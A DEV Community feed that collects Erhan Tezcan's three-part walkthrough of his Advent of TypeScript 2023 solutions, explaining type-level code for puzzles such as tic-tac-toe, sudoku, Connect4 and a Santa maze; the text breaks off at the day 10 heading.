DEV Community: Erhan Tezcan

Advent of TypeScript 2023 - Part. III

Erhan Tezcan — Tue, 26 Dec 2023 18:07:14 +0000

Advent of TypeScript 2023 is a series of challenges related to type-level TypeScript.

This page provides walkthroughs for days 21 to 25.

You can find the solutions & tests at https://github.com/erhant/aot-2023

Day 21. Tic-Tac-Toe

In this challenge, we are asked to implement a Tic-Tac-Toe "state transition function" so to say, where we are given the current state of the game along with a position such that the current move will be played on that position.

Let us ask ourselves, what type of functions do we need?

We need to translate a position (e.g. top-left) to indices on the 2D board.
We need to get the value at a given 2D index.
We need to set a value at a given 2D index.
We need checker functions that can tell if a board has been won or there is a draw.

The first two are simple:

// prettier-ignore
type ToIndex = {
  top: 0; middle: 1; bottom: 2;
  left: 0; center: 1; right: 2;
};

// prettier-ignore
type Retrieve<T extends TicTacToeBoard, P extends TicTacToePositions> =
  P extends `${infer L extends TicTacToeYPositions}-${infer R extends TicTacToeXPositions}` 
  ? T[ToIndex[L]][ToIndex[R]]
  : never;

Setting a value at an index is a bit more work, but due to the small problem-size at hand we can hard-code it as such:

// prettier-ignore
type Put<T extends TicTactToeBoard, P extends TicTacToePositions, V extends TicTacToeCell> =
  // top
  P extends 'top-left' ?      [[V, T[0][1], T[0][2]], T[1], T[2]] : 
  P extends 'top-center' ?    [[T[0][0], V, T[0][2]], T[1], T[2]] : 
  P extends 'top-right' ?     [[T[0][0], T[0][1], V], T[1], T[2]] : 
  // middle
  P extends 'middle-left' ?   [T[0], [V, T[1][1], T[1][2]], T[2]] : 
  P extends 'middle-center' ? [T[0], [T[1][0], V, T[1][2]], T[2]] : 
  P extends 'middle-right' ?  [T[0], [T[1][0], T[1][1], V], T[2]] : 
  // bottom
  P extends 'bottom-left' ?   [T[0], T[1], [V, T[2][1], T[2][2]]] :
  P extends 'bottom-center' ? [T[0], T[1], [T[2][0], V, T[2][2]]] :
  P extends 'bottom-right' ?  [T[0], T[1], [T[2][0], T[2][1], V]] :
  never;

I found this to be more readable as well; of course, there is probably a way to do this in a more concise and generic way (which we will actually implement at a later challenge).

Winning conditions can be checked via hardcoding as well:

// prettier-ignore
type IsWinning<B extends TicTactToeBoard, C extends TicTacToeChip, CCC = [C, C, C]> = 
  [B[0][0], B[0][1], B[0][2]] extends CCC ? true : // top row
  [B[1][0], B[1][1], B[1][2]] extends CCC ? true : // middle row
  [B[2][0], B[2][1], B[2][2]] extends CCC ? true : // bottom row
  [B[0][0], B[1][0], B[2][0]] extends CCC ? true : // left col
  [B[0][1], B[1][1], B[2][1]] extends CCC ? true : // center col
  [B[0][2], B[1][2], B[2][2]] extends CCC ? true : // right col
  [B[0][0], B[1][1], B[2][2]] extends CCC ? true : // top-left bottom-right diag
  [B[0][2], B[1][1], B[2][0]] extends CCC ? true : // top-right bottom-left diag
  false;

For the drawing condition, I simply decided to spread the board into a 1D array and check if any cell includes the empty cell. If we are not winning, and with our move there are no empty cells left, then it is a draw.

// prettier-ignore
type IsDraw<B extends any[]> = 
  B extends [infer First, ...infer Rest]
  ? First extends TicTacToeEmptyCell
    ? false
    : IsDraw<Rest>
  : true

Our state transition is then defined like so:

// prettier-ignore
type NextState<B extends TicTacToeBoard, C extends TicTacToeChip> =
  IsWinning<B, C> extends true 
  ? {
    board: B,
    state: `${C} Won`
  }
  : IsDraw<[...B[0], ...B[1], ...B[2]]> extends true
  ? {
    board: B,
    state: 'Draw'
  }
  : {
    board: B,
    state: {
      "❌": "⭕";
      "⭕": "❌";
    }[C]
  }

For the solution, we must also take care of the case when a move is invalid, i.e. the cell to be played is not empty. With that said, here is the solution:

// prettier-ignore
type TicTacToe<T extends TicTacToeGame, P extends TicTacToePositions> = 
  Retrieve<T['board'], P> extends TicTacToeEmptyCell
  ? T['state'] extends TicTacToeChip 
    ? NextState<Put<T['board'], P, T['state']>, T['state']>
    : never // cant play a non-chip state
  : T; // invalid play does not change the state

Day 22. Sudoku

Here, we are asked to verify a given Sudoku solution, at type-level! For this, we need only one utility: a type that returns true if all its values are unique, and false otherwise.

Typehero actually has a challenge just like this: Unique. In that challenge, we return the unique values from a given array. To return a boolean whether an array is unique or not, we can retrieve the unique values in there and compare the lengths!

// prettier-ignore
type CheckAnyExtends<T, Arr extends any[]> = 
  Arr extends [infer First, ...infer Rest]
  ? T extends First
    ? true
    : CheckAnyExtends<T, Rest>
  : false;

// prettier-ignore
type Unique<T extends any[], Result extends any[] = []> = 
  T extends [infer First, ...infer Rest]
  ? CheckAnyExtends<First, Result> extends true
    ? Unique<Rest, Result>
    : Unique<Rest, [...Result, First]>
  : Result;

// prettier-ignore
type IsUnique<T extends any[]> = 
  T["length"] extends Unique<T>["length"] ? true : false;

With this in our hands, we can hardcode the Sudoku verifier as such:

// prettier-ignore
type Validate<T extends Reindeer[][][]> = 
    // check rows 
    IsUnique<[...T[0][0], ...T[0][1], ...T[0][2]]> extends false ? false :
    IsUnique<[...T[1][0], ...T[1][1], ...T[1][2]]> extends false ? false :
    IsUnique<[...T[2][0], ...T[2][1], ...T[2][2]]> extends false ? false :
    IsUnique<[...T[3][0], ...T[3][1], ...T[3][2]]> extends false ? false :
    IsUnique<[...T[4][0], ...T[4][1], ...T[4][2]]> extends false ? false :
    IsUnique<[...T[5][0], ...T[5][1], ...T[5][2]]> extends false ? false :
    IsUnique<[...T[6][0], ...T[6][1], ...T[6][2]]> extends false ? false :
    IsUnique<[...T[7][0], ...T[7][1], ...T[7][2]]> extends false ? false :
    IsUnique<[...T[8][0], ...T[8][1], ...T[8][2]]> extends false ? false :
    // check cols
    IsUnique<[T[0][0][0], T[1][0][0], T[2][0][0], T[3][0][0], T[4][0][0], T[5][0][0], T[6][0][0], T[7][0][0], T[8][0][0]]> extends false ? false :
    IsUnique<[T[0][0][1], T[1][0][1], T[2][0][1], T[3][0][1], T[4][0][1], T[5][0][1], T[6][0][1], T[7][0][1], T[8][0][1]]> extends false ? false :
    IsUnique<[T[0][0][2], T[1][0][2], T[2][0][2], T[3][0][2], T[4][0][2], T[5][0][2], T[6][0][2], T[7][0][2], T[8][0][2]]> extends false ? false :
    IsUnique<[T[0][1][0], T[1][1][0], T[2][1][0], T[3][1][0], T[4][1][0], T[5][1][0], T[6][1][0], T[7][1][0], T[8][1][0]]> extends false ? false :
    IsUnique<[T[0][1][1], T[1][1][1], T[2][1][1], T[3][1][1], T[4][1][1], T[5][1][1], T[6][1][1], T[7][1][1], T[8][1][1]]> extends false ? false :
    IsUnique<[T[0][1][2], T[1][1][2], T[2][1][2], T[3][1][2], T[4][1][2], T[5][1][2], T[6][1][2], T[7][1][2], T[8][1][2]]> extends false ? false :
    IsUnique<[T[0][2][0], T[1][2][0], T[2][2][0], T[3][2][0], T[4][2][0], T[5][2][0], T[6][2][0], T[7][2][0], T[8][2][0]]> extends false ? false :
    IsUnique<[T[0][2][1], T[1][2][1], T[2][2][1], T[3][2][1], T[4][2][1], T[5][2][1], T[6][2][1], T[7][2][1], T[8][2][1]]> extends false ? false :
    IsUnique<[T[0][2][2], T[1][2][2], T[2][2][2], T[3][2][2], T[4][2][2], T[5][2][2], T[6][2][2], T[7][2][2], T[8][2][2]]> extends false ? false :
    // check regions
    IsUnique<[...T[0][0], ...T[1][0], ...T[2][0]]> extends false ? false :
    IsUnique<[...T[0][1], ...T[1][1], ...T[2][1]]> extends false ? false :
    IsUnique<[...T[0][2], ...T[1][2], ...T[2][2]]> extends false ? false :
    IsUnique<[...T[3][0], ...T[4][0], ...T[5][0]]> extends false ? false :
    IsUnique<[...T[3][1], ...T[4][1], ...T[5][1]]> extends false ? false :
    IsUnique<[...T[3][2], ...T[4][2], ...T[5][2]]> extends false ? false :
    IsUnique<[...T[6][0], ...T[7][0], ...T[8][0]]> extends false ? false :
    IsUnique<[...T[6][1], ...T[7][1], ...T[8][1]]> extends false ? false :
    IsUnique<[...T[6][2], ...T[7][2], ...T[8][2]]> extends false ? false
    : true;

It is possible to do this without hardcoding, I didn't do it here due to time reasons :)

Day 23. Connect4

In this challenge, we will implement the logic for Connect4. In my opinion, this was the hardest challenge among all days! Looking at the game logic, we will need the following types:

A type to find the index (row & column) to place a given piece
A type to put a piece at a given index
A type to check rows for winning conditions
A type to check columns for winning conditions
A type to check diagonals for winning conditions
A type to check drawing condition

Finding the Index

We should make a really nice observation here: we already know the column to place a piece under, so we don't have to check others unless we really have to! For instance, we only need to find the correct row to place a piece, without checking the other rows.

There is a catch in finding the index though, we care about the last empty cell from the top, i.e. the first empty cell from the bottom! We can use this to our advantage, and iterate the rows starting from the bottom row and simply check if the corresponding column cell is empty.

type FindIndex2D<T extends Connect4Board, P extends number, Acc extends 0[] = []> =
  // start search from last row
  T extends [...infer Rest extends any[][], infer Last extends any[]]
    ? Last[P] extends "  "
      ? Acc["length"]
      : FindIndex2D<Rest, P, [0, ...Acc]>
    : never;

This returns us the row index with the first empty cell at column P.

Putting a Piece

We will implement a Replace type that lets us put a value at a given row & column. Both of these will keep track of the rows & cells that they have went over in doing so (in an accumulator Acc). However, we will go over the rows in reverse (due to our approach on finding the index) but the column indexing will be normal.

// prettier-ignore
type Replace2D<T extends any[][], IR extends number, IC extends number, V extends any, Acc extends any[][] = []> = 
  T extends [...infer Rest extends any[][], infer Last extends any[]]
    ? Acc["length"] extends IR
        ? [...Rest, Replace1D<Last, IC, V>, ...Acc]
        : Replace2D<Rest, IR, IC, V, [Last, ...Acc]>
    : T;

// prettier-ignore
type Replace1D<T extends any[], I extends number, V extends any, Acc extends any[] = []> = 
  T extends [infer First, ...infer Rest]
    ? Acc["length"] extends I
        ? [...Acc, V, ...Rest]
        : Replace1D<Rest, I, V, [...Acc, First]>
    : T;

Checking Rows

Checking if there is a winning row is straightforward: infer 4 elements in a row and see if they are equal to the currently placed piece.

// prettier-ignore
type CheckRows<T extends any[][], V extends Connect4Chips> = 
  T extends [infer First extends any[], ...infer Rest extends any[][]]
    ? CheckWin1D<First, V> extends true
        ? true
        : CheckRows<Rest, V>
    : false;

// prettier-ignore
type CheckWin1D<T extends any[], V extends any> = 
  T extends [infer I1, infer I2, infer I3, infer I4, ...infer Rest]
    ? [I1, I2, I3, I4] extends [V, V, V, V]
        ? true
        : CheckWin1D<[I2, I3, I4, ...Rest], V>
    : false;

Checking Columns

We only need to check the current column to see if it is winning for the column case:

type CheckCols<T extends any[][], V extends Connect4Chips, P extends number> = T extends [
  infer R1 extends any[],
  infer R2 extends any[],
  infer R3 extends any[],
  infer R4 extends any[],
  ...infer Rest extends any[][]
]
  ? [R1[P], R2[P], R3[P], R4[P]] extends [V, V, V, V]
    ? true
    : CheckCols<[R2, R3, R4, ...Rest], V, P>
  : false;

Checking Diagonals

Now this one is a bit more tricky. My idea was to offset rows so that the diagonal cells are all aligned, and then these 4 rows (each offset by one more than the previous) are checked together to see if at one index they all contain the same piece.

To do this, we write a utility type called CheckQuadRow that checks if there is a winning column in 4 rows stacked together.

type CheckQuadRow<
  R1 extends any[],
  R2 extends any[],
  R3 extends any[],
  R4 extends any[],
  V extends any,
  Acc extends 0[] = [],
  i extends number = Acc["length"]
> = R1["length"] extends i
  ? false
  : [R1[i], R2[i], R3[i], R4[i]] extends [V, V, V, V]
  ? true
  : CheckQuadRow<R1, R2, R3, R4, V, [...Acc, 0]>;

Now, we can simply check diagonals from top-left to bottom-right by offsetting each row by one, and passing in the resulting offset-rows to CheckQuadRow:

type CheckDiagLeftToRight<T extends any[][], V extends Connect4Chips> = T extends [
  infer R1 extends any[],
  infer R2 extends any[],
  infer R3 extends any[],
  infer R4 extends any[],
  ...infer Rest extends any[][]
]
  ? R2 extends [any, ...infer R2Rest]
    ? R3 extends [any, any, ...infer R3Rest]
      ? R4 extends [any, any, any, ...infer R4Rest]
        ? CheckQuadRow<R1, R2Rest, R3Rest, R4Rest, V> extends true
          ? true
          : CheckDiagLeftToRight<[R2, R3, R4, ...Rest], V>
        : false
      : false
    : false
  : false;

For the other diagonal from top-right to bottom-left, we can do almost the same but from the other way around:

type CheckDiagRightToLeft<T extends any[][], V extends Connect4Chips> = T extends [
  infer R1 extends any[],
  infer R2 extends any[],
  infer R3 extends any[],
  infer R4 extends any[],
  ...infer Rest extends any[][]
]
  ? R3 extends [any, ...infer R3Rest]
    ? R2 extends [any, any, ...infer R2Rest]
      ? R1 extends [any, any, any, ...infer R1Rest]
        ? CheckQuadRow<R1Rest, R2Rest, R3Rest, R4, V> extends true
          ? true
          : CheckDiagRightToLeft<[R2, R3, R4, ...Rest], V>
        : false
      : false
    : false
  : false;

Notice how that in both cases, the cells that are irrelevant to the diagonal are ignored. For example, the topmost & rightmost cell can't be in a winning diagonal from top-left to bottom-right, so that cell is not even included during these infer statements!

Checking the Draw

We also need to check for the drawing condition, which is to simply check if there is an empty cell or not in the entire board. If we are not winning in any case described so far, and there are no empty cells left, it is a draw!

// prettier-ignore
type CheckDraw<T extends any[][]> = 
  T extends [infer First extends any[], ...infer Rest extends any[][]]
    ? HasEmpty1D<First> extends true
        ? false
        : CheckDraw<Rest>
    : true;

// prettier-ignore
type HasEmpty1D<T extends any[]> = 
  T extends [infer First, ...infer Rest]
  ? First extends Connect4Empty
    ? true
    : HasEmpty1D<Rest>
  : false

The Solution

With all of these types, we are ready for the solution. We will follow the same order as described at the start of this challenge.

type Connect4<
  T extends Connect4Game, // current game
  C extends number, // column to place
  R extends number = FindIndex2D<T["board"], C>, // row to place (calculated)
  B extends Connect4Board = Replace2D<T["board"], R, C, T["state"]> // updated board
> = CheckRows<B, T["state"]> extends true
  ? { board: B; state: `${T["state"]} Won` }
  : CheckCols<B, T["state"], C> extends true
  ? { board: B; state: `${T["state"]} Won` }
  : CheckDiagLeftToRight<B, T["state"]> extends true
  ? { board: B; state: `${T["state"]} Won` }
  : CheckDiagRightToLeft<B, T["state"]> extends true
  ? { board: B; state: `${T["state"]} Won` }
  : CheckDraw<B> extends true
  ? { board: B; state: "Draw" }
  : { board: B; state: { "🔴": "🟡"; "🟡": "🔴" }[T["state"]] };

Notice that we store the index at R and the new board at B as parameters with defaults for our type. This is a common utility trick that allows us to use that same type in many places within the type definition.

In the final step of this type, we simply update the next state with the opposite chip.

Day 24. Santa in Forest

Santa is stuck in a forest, and we are tasked with building the type that navigates him out of there! The idea of my solution is as follows:

Find the index of Santa, and return it as follows:
- cur is the current index (row & column) of Santa
- left is the left of cur
- right is the right of cur
- up is above the cur
- down is below the cur

For each direction, if the index is out-of-bounds for either row or column, return that index as never instead of its number. This way, we can access the current index of Santa via cur, and know where to go using the direction parameter as a key for our index.

For example, if our direction is left, we will access the left property of our index to see where it leads. If either it's row or column is never then we are out of the maze.

Finding the Santa

Lets make a type for our indices:

type FullIndexType = {
  left: [number | never, number | never];
  right: [number | never, number | never];
  cur: [number, number];
  up: [number | never, number | never];
  down: [number | never, number | never];
};

To find these indices, we will implement two types: FindSanta2D and FindSanta1D. The latter will find the Santa in a row, and the former will keep record of the row index when that happens.

type FindSanta2D<
  T extends any[][],
  Acc extends 0[] = [],
  Idx extends [up: number | never, cur: number, down: number | never, max: number] = [never, 0, 1, T["length"]]
> = T extends [infer Row extends any[], ...infer Rest extends any[][]]
  ? FindSanta1D<Row> extends never
    ? FindSanta2D<Rest, [0, ...Acc], [Idx[1], [...Acc, 0]["length"], [...Acc, 0, 0]["length"], Idx[3]]>
    : ToIndex<Idx, FindSanta1D<Row>>
  : never;

type FindSanta1D<
  T extends any[],
  Acc extends 0[] = [],
  Idx extends [left: number | never, cur: number, right: number | never, max: number] = [never, 0, 1, T["length"]]
> = T extends [infer First, ...infer Rest]
  ? First extends Santa
    ? Idx
    : FindSanta1D<Rest, [0, ...Acc], [Idx[1], [...Acc, 0]["length"], [...Acc, 0, 0]["length"], Idx[3]]>
  : never;

To convert these index tuples to the FullIndexType we implement ToIndex as follows:

type ToIndex<
  RowIdx extends [up: number | never, cur: number, down: number | never, max: number],
  ColIdx extends [left: number | never, cur: number, right: number | never, max: number]
> = {
  // row left & right
  left: [RowIdx[1], ColIdx[0]];
  right: [RowIdx[1], ColIdx[2] extends ColIdx[3] ? never : ColIdx[2]];
  // current
  cur: [RowIdx[1], ColIdx[1]];
  // column up & down
  up: [RowIdx[0], ColIdx[1]];
  down: [RowIdx[2] extends RowIdx[3] ? never : RowIdx[2], ColIdx[1]];
};

Replacing a Value

Now, let us implement the logic to replace a value in the 2D array with a value that we want. This will do two things:

When Santa moves, it's current index will be made empty
Its new position will be made Santa

Similar to FindSanta types, we will implement two things: Replace2D and Replace1D. The first will find the correct row, and the second will find the correct column to replace. Both of these will keep track of the rows & cells that they have went over in doing so (in an accumulator Acc) and with that, replacing a value simply becomes: [...Acc, NewValue, ...Rest]. Let's look at these types:

// prettier-ignore
type Replace2D<T extends any[][], Row extends number, Col extends number, V extends any, Acc extends any[][] = []> = 
  T extends [infer First extends any[], ...infer Rest extends any[][]]
    ? Acc["length"] extends Row
        ? [...Acc, Replace1D<First, Col, V>, ...Rest]
        : Replace2D<Rest, Row, Col, V, [...Acc, First]>
    : T;

// prettier-ignore
type Replace1D<T extends any[], Col extends number, V extends any, Acc extends any[] = []> = 
  T extends [infer First, ...infer Rest]
    ? Acc["length"] extends Col
        ? [...Acc, V, ...Rest]
        : Replace1D<Rest, Col, V, [...Acc, First]>
    : T;

This is really similar to Replace type that we have implemented for day 23, but the array iteration logic is different; instead of taking Last in each step, we take the First.

Making Cookies

Finally, we will implement the type that turns the entire maze into cookies. These types will simply keep iterating over the array and replace each value with a cookie:

// prettier-ignore
type MakeCookies2D<T extends any[][], Acc extends DELICIOUS_COOKIES[][] = []> = 
  T["length"] extends Acc["length"]
  ? Acc
  : MakeCookies2D<T, [MakeCookies1D<T[Acc["length"]]>, ...Acc]>;

// prettier-ignore
type MakeCookies1D<T extends any[], Acc extends DELICIOUS_COOKIES[] = []> =
  T["length"] extends Acc["length"]
  ? Acc
  : MakeCookies1D<T, [DELICIOUS_COOKIES, ...Acc]>;

The Solution

With all of these, the actual solution is quite concise:

// prettier-ignore
type Move<
  T extends MazeMatrix,
  D extends Directions,
  I extends FullIndexType = FindSanta2D<T>
> = I[D][0] extends never
  ? MakeCookies2D<T> // row is out-of-bounds, santa exits!
  : I[D][1] extends never
  ? MakeCookies2D<T> // col is out-of-bounds, santa exits!
  : T[I[D][0]][I[D][1]] extends Tree
  ? T // there is a tree in the way
  : Replace2D<Replace2D<T, I[D][0], I[D][1], Santa>, I["cur"][0], I["cur"][1], Alley>;

Day 25. Merry Christmas!

You know what to do!

Advent of TypeScript 2023 - Part. II

Erhan Tezcan — Tue, 26 Dec 2023 18:05:19 +0000

Advent of TypeScript 2023 is a series of challenges related to type-level TypeScript.

This page provides walkthroughs for days 11 to 20.

You can find the solutions & tests at https://github.com/erhant/aot-2023

Day 11. Protect the List

Here is a chunky challenge, a DeepReadonly (which is a popular type-challenge on its own) that works on any nested object. Before we move on, let us remember the two built-ins:

Readonly makes a type (not its children) readonly.
ReadonlyArray makes an array readonly, kind of like using as const in normal code.

In this challenge, we will consider our types to be objects or arrays.

If there is an object, we must make their keys readonly and their values readonly as well.
If there is an array, we must make each element readonly.
Otherwise, we can simply make that type readonly.

With this logic in mind, let us construct our solution:

type DeepReadonly<T> =
  // check if T is an object
  T extends Record<any, unknown>
    ? { readonly [K in keyof T]: DeepReadonly<T[K]> }
    : // check if T is an array
    T extends Array<unknown>
    ? DeepReadonlyArray<T>
    : // otherwise, just return T
      T;

Just as we described, we can use the conditionals to see if we have an object or array, or none of them. Now, let's define DeepReadonlyArray:

// prettier-ignore
type DeepReadonlyArray<
  T extends ReadonlyArray<unknown>,
  Acc extends ReadonlyArray<unknown> = []
> = 
  T["length"] extends Acc["length"] 
  ? Acc 
  : DeepReadonlyArray<T, readonly [...Acc, DeepReadonly<T[Acc["length"]]>]>;

This is a really common method of iterating over an array and mapping its values, and we will see much more of this throughout the challenges. We start with an accumulator Acc that is initialized as []. Then, we check the length property of these arrays and see if they are equal. This condition will only be true when we have exhausted the array, at which point we return the resulting Acc.

Now, another magic here is T[Acc['length']], where we use the length of the accumulator as our index to access the elements of T. As Acc grows, we will have accessed all elements within the array T!

With these in our hand, our solution is simply forwarding the input to DeepReadonly:

type SantaListProtector<T> = DeepReadonly<T>;

Day 12. Find Santa I

In this challenge, we are asked to find the index of an element in a tuple. This is a perfect opportunity to use the spread-infer operation! In type-world, one can iterate over an array using infer in two ways:

T extends [infer First, ...infer Rest] will return the first element in First and the rest of the array in Rest.
T extends [...infer Rest, infer Last] will return the last element in Last and the rest of the array in Rest.

One particular advantage of using the latter is that you always know the index of Last, it is given by Rest['length'].

For this challenge, we can keep looking at Last to see if it is santa, and return Rest['length'] if that is true; otherwise, we can recurse with the Rest of the array. If this condition no longer works, then it means our array is exhausted (empty) so we can return never.

type FindSanta<T extends any[]> = T extends [...infer Rest, infer Last]
  ? Last extends "🎅🏼"
    ? Rest["length"]
    : FindSanta<Rest>
  : never;

Day 13. Count the Days

Here, we are asked to construct a union of consecutive numbers with the given limits. Although the tests only start with 1, our solution works for any limits.

Our solution will have two parts, assuming the inputs DayCounter<L, R> where both are numbers:

GotoLeft will construct an array of length L with values [0, 1, ..., L-1] and then call GotoRight
GotoRight will construct an array of length R, while keeping track of the values in each step.

// prettier-ignore
type GotoLeft<L extends number, R extends number, Ctr extends number[] = []> = 
    Ctr['length'] extends L 
    ? GotoRight<R, Ctr>
    : GotoLeft<L, R, [...Ctr, Ctr['length']]>;

// prettier-ignore
type GotoRight<R extends number, Ctr extends number[], Acc extends number[] = []> =
    Ctr['length'] extends R 
    ? [...Acc, Ctr['length']][number]
    : GotoRight<R, [...Ctr, Ctr['length']], [...Acc, Ctr['length']]>;

The two parts look very similar, with one difference being that GotoRight keeps a separate accumulator for the answer. Then, in the end, we convert a tuple to union using [number] as the index.

The actual solution is to simply connect the type to GotoLeft:

type DayCounter<L extends number, R extends number> = GotoLeft<L, R>;

This solution has the following property that:

DayCounter<N, N> results in N.

DayCounter<N, M> where N > M results in an error due to infinite recursion.

Day 14. Naughty List

Similar to day 9, in this challenge we can use a string literal with infers in it.

// prettier-ignore
type DecipherNaughtyList<T extends string> = 
  T extends `${infer Head}/${infer Rest}`
  ? Head | DecipherNaughtyList<Rest>
  : T;

Day 15. Box the Toys

The solution is rather straightforward in this challenge, keep an accumulator until its length equals the number of toys, right? Well, yes, but we must support the number of items being a union type as well!

The trick here is to know that union types "distribute" when they are used in a conditional, so it will be as if our conditional is looped over each item in the union. Our solution is the following:

// prettier-ignore
type BoxToys<T extends string, N extends number, Acc extends string[] = []> = 
    N extends Acc['length']
    ? Acc
    : BoxToys<T, N, [...Acc, T]>;

Day 16. Find Santa II

We have a 2D array, and we would like to find the santa in there somewhere & returns its index! The solution is actually similar to Find Santa I at day 12, we just have to do it for each row in an array of rows.

// prettier-ignore
type CheckRow<T extends any[], Acc extends 0[] = []> = 
    T['length'] extends Acc['length']
    ? never
    : T[Acc['length']] extends '🎅🏼'
        ? Acc['length']
        : CheckRow<T, [...Acc, 0]>

// prettier-ignore
type FindSanta<T extends any[][], Acc extends 0[] = []> = 
    T['length'] extends Acc['length']
    ? never
    : CheckRow<T[Acc['length']]> extends never
        ? FindSanta<T, [...Acc, 0]>
        : [Acc['length'], CheckRow<T[Acc['length']]>]

I use the type 0[] for my accumulators sometimes. I do that so that I dont mistakenly give some other type to my accumulator, and explcitly force myself to write 0 to make them stand out a bit more. You are free to use any other type of course.

Day 17. Rock Paper Scissors

In this challenge, we implement a type that can determine the winner & loser of a "Rock, Paper, Scissors" game! It is actually rather straightforward using a chain of conditional types:

type RockPaperScissors = "👊🏻" | "🖐🏾" | "✌🏽";

// prettier-ignore
type WhoWins<L extends RockPaperScissors, R extends RockPaperScissors> = 
    // winning cases
    [L, R] extends ['👊🏻', '🖐🏾'] ? 'win' :
    [L, R] extends ['🖐🏾', '✌🏽'] ? 'win' :
    [L, R] extends ['✌🏽', '👊🏻'] ? 'win' :
    // losing cases
    [L, R] extends ['🖐🏾', '👊🏻'] ? 'lose' :
    [L, R] extends ['✌🏽', '🖐🏾'] ? 'lose' :
    [L, R] extends ['👊🏻', '✌🏽'] ? 'lose' :
    // otherwise draw
    'draw';

Day 18. Remaining Deliveries

This challenge is a classic use-case of an accumulator: to keep count! We will simply keep an array that gets a new element every time we find the element that we seek. In the end, the length of this accumulator results in the number of times that element has been seen.

// prettier-ignore
type Count<T extends any[], V, Acc extends 0[] = []>  = 
    T extends [infer First, ...infer Rest]
    ? First extends V
        ? Count<Rest, V, [...Acc, 0]>
        : Count<Rest, V, Acc>
    : Acc['length'];

Day 19. Embezzle Funds

Here, we will actually make use of two accumulators: one to keep track of all items, and one to keep track of the current item's count. We also need a small utility type to map a given toy to another toy, which will be used when we move on the next item.

Here is the solution:

// map a given item to another item
type Items = { "🛹": "🚲"; "🚲": "🛴"; "🛴": "🏄"; "🏄": "🛹" };

type Rebuild<
  T extends any[],
  Cur extends keyof Items = "🛹", // current item
  Acc extends (keyof Items)[] = [], // accumulator (for our result)
  Ctr extends 0[] = [] // counter
> = T extends [infer First, ...infer Rest]
  ? First extends Ctr["length"]
    ? Rebuild<Rest, Items[Cur], Acc, []>
    : Rebuild<[First, ...Rest], Cur, [...Acc, Cur], [0, ...Ctr]>
  : Acc;

Day 20. ASCII Art

In this challenge, we convert a string to ASCII art; quite a cool thing to do at type-level! First things first, we must extend the Letters type to include lowercase letters as well:

type AllLetters = Letters & {
  [K in keyof Letters as K extends string ? Lowercase<K> : never]: Letters[K];
};

It also seems that we will be working with triples (tuples of length 3) quite a bit, so let us write a utility to concatenate two triples of strings at element level:

// prettier-ignore
type Append<T extends [string, string, string], N extends [string, string, string]> =
  [`${T[0]}${N[0]}`, `${T[1]}${N[1]}`, `${T[2]}${N[2]}`]

With these in our hand, the solution is actually quite simple! One thing that we must tackle first is to detect newlines. Similar to day 10, we can find a string with prefix \n and infer the rest to get the "next line".

If we are not in a new line, we will get the ASCII art triple form AllLetters and append it to an accumulator for the current line. When the line is finished, we add our accumulator to a more general accumulator that keeps track of all lines. We will denote the former as Cur and the latter as Acc.

With these, our solution becomes:

// prettier-ignore
type ToAsciiArt<
    S extends string,
    Acc extends string[] = [],
    Cur extends [string, string, string] = ["", "", ""],
> = 
  S extends `\n${infer Rest}`
  ? ToAsciiArt<Rest, [...Acc, ...Cur], ["", "", ""]>
  : S extends `${infer First extends keyof AllLetters}${infer Rest}` 
    ? ToAsciiArt<Rest, Acc, Append<Cur, AllLetters[First]>>
    : [...Acc, ...Cur];

Advent of TypeScript 2023 - Part. I

Erhan Tezcan — Tue, 26 Dec 2023 18:02:44 +0000

Advent of TypeScript 2023 is a series of challenges related to type-level TypeScript.

This page provides walkthroughs for days 1 to 10.

You can find the solutions & tests at https://github.com/erhant/aot-2023

Day 1. Christmas Cookies

We simply have to provide a Union type, as follows:

type SantasFavoriteCookies = "ginger-bread" | "chocolate-chip";

Day 2. Cookie Inventory

We are required to return the keys in the given object, thankfully keyof operator does just that!

type CookieSurveyInput<T> = keyof T;

Day 3. Gift Wrapper

We have 3 parameters, and in the given order they must be assigned as values to keys present, from and to. Well, working with objects in the type-world is very similar to JS, as you can see:

type GiftWrapper<P, F, T> = {
  present: P;
  from: F;
  to: T;
};

Day 4. Delivery Addresses

Here, we need to change the values of a given object. We can access the keys of an object via K in keyof T; remember keyof T returns a union and in tells us that we want all the values in the union. Our solution is therefore:

type Address = { address: string; city: string };
type PresentDeliveryList<T extends Record<PropertyKey, any>> = { [K in keyof T]: Address };

We don't really need T extends Record<PropertyKey, any> here for the tests, but that provides a bit more type-safety where unsuitable parameters to PresentDeliveryList would cause an error.

Day 5. Santa's List

Here we are asked to concatenate two arrays. We must remember that spread operator ...array works in type-world too! So, if we have two arrays A, B we can spread them into a single array [...A, ...B] and the result will be as if we had called A.concat(B).

type SantasList<A extends readonly any[], B extends readonly any[]> = [...A, ...B];

Day 6. Filtering the Children I

We are asked to exclude an item from a union. TypeScript has a built-in called Exclude just for that!

type FilterChildrenBy<T, E> = Exclude<T, E>;

Day 7. Filtering the Children II

We have worked with changing the value of a record before in day 4; now, we are asked to change the keys! This is a bit more work, but we will make use of something called key remapping which allows one to re-map keys in a mapped type.

type GoodProperty<K extends PropertyKey> = K extends string ? `good_${K}` : never;

type AppendGood<T extends Record<string, any>> = { [K in keyof T as GoodProperty<K>]: T[K] };

One thing to notice here:
type AppendGood<T extends Record<string, any>> = { [K in keyof T as `good_${K}`]: T[K] };
The code above will not work because a string literal accepts things that can be stringified, however a property (via keyof) can return a Symbol which wouldn't be compatible with our string literal there.

I didn't know about key-remapping until this challenge!

Day 8. Filtering the Children III

In this challenge, we will filter out some of the keys based on how they fit a given string. We can use Exclude for this as well! If you hover over the built-in Exclude you will see that it is written as:

type Exclude<T, U> = T extends U ? never : T;

So if a given string T extends U, it will return never. If a mapped-key is never it is not included in the resulting object. With this in mind, our solution is:

type RemoveNaughtyChildren<T> = { [K in Exclude<keyof T, `naughty_${string}`>]: T[K] };

Notice how we access the respective values of each key via T[K]

Day 9. Is Santa Dyslexic?

We are asked to reverse a string, at type-level! Although this may sound scary at first, it is not so scary when you have knowledge of the infer keyword. Inferring is done within a conditional type, you can learn more about it here.

We can ask if a type extends some other type, and infer parts of it based on whether that condition is true or not! In this challenge, we can ask if our type extends a string with two inferred parts: T extends ${infer F}${infer S}. It just turns out that F will be the first character here, and S will be the rest of the string.

So, we can extract F and S like that, and put F at the end of a new string, prefixed by Reverse<S> yet again to reverse the remaining string. In the end, there will be no characters left, and at that point we will return the string itself.

type Reverse<T extends string> = T extends `${infer F}${infer S}` ? `${Reverse<S>}${F}` : T;

When T = 'a', that condition will result in F = 'a' and S = ''.

Day 10. Street Suffix

